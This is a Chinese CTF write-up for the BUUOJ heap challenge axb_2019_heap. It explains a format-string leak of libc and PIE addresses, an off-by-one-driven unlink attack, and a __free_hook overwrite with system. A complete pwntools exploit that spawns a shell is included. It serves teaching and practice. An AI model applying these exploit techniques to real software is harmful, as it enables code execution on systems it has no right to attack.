
保护全开,基本上改free_hook或者malloc_hook
这里有个off by one的漏洞。
申请堆块一定要大于0x80,所以不是fastbin attack
没有printf函数,也就是不能打印libc的地址,好在banner函数
格式化字符串漏洞。
栈上有很多地址,由于开了pie,所以我们程序的入口地址也要通过格式化字符串来泄露然后还有libc的地址。
io.sendline("%15$p%19$p")
程序中bss段上的控制堆块我们可以知道,所以unlink可以尝试一用
from pwn import*from LibcSearcher import*context.log_level = 'debug'#context.arch = 'amd64'#io =process('./axb_2019_heap')io = remote("node4.buuoj.cn",28725)elf = ELF('./axb_2019_heap')#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('libc-2.23.so')def debug():gdb.attach(io)pause()def creat(index,size,value):io.recvuntil(">> ")io.sendline("1")io.recvuntil("Enter the index you want to create (0-10):")io.sendline(str(index))io.recvuntil("Enter a size:")io.sendline(str(size))io.recvuntil("Enter the content:")io.sendline(value)def free(index):io.recvuntil(">> ")io.sendline("2")io.recvuntil("Enter an index:")io.sendline(str(index))def edit(index,value):io.recvuntil(">> ")io.sendline("4")io.recvuntil("Enter an index:")io.sendline(str(index))io.recvuntil("Enter the content: ")io.sendline(value)io.recvuntil("Enter your name: ")io.sendline("%15$p%19$p")io.recvuntil("0x")libc_start_main = int(io.recvuntil("0x")[:-2],16)log.success("libc_start_main:"+hex(libc_start_main))main_addr = int(io.recvuntil("\n")[:-1],16)libcbase = libc_start_main - libc.sym["__libc_start_main"]-240creat(0,152,"aaaa")creat(1,144,"bbbb")creat(2,144,"/bin/sh\x00")#debug()base = main_addr-0x116aptr_addr = base+0x202060log.success("ptr_addr:"+hex(ptr_addr))system_addr = libcbase+libc.sym["system"]free_hook = libcbase+libc.sym["__free_hook"]payload = p64(0)+p64(0x91)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+p64(0)*14+p64(0x90)+p8(0xa0)edit(0,payload)#debug()free(1)#debug()payload = p64(0)*3+p64(free_hook)+p64(0x98)edit(0,payload)#debug()payload = p64(system_addr)edit(0,payload)free(2)io.interactive()
总结一下unlink的使用过程
- unlink是在物理地址相邻的两个free堆块
- 要存在一种漏洞可以改变是否free的这个信息
- 在内存中构造fd与bk
- 控制堆块的地址要明确
- libc的地址要可以泄露
- 控制堆块就会指向与自己地址相差3个字长的地址,就可以填入free_hook或者malloc_hook这两个地址
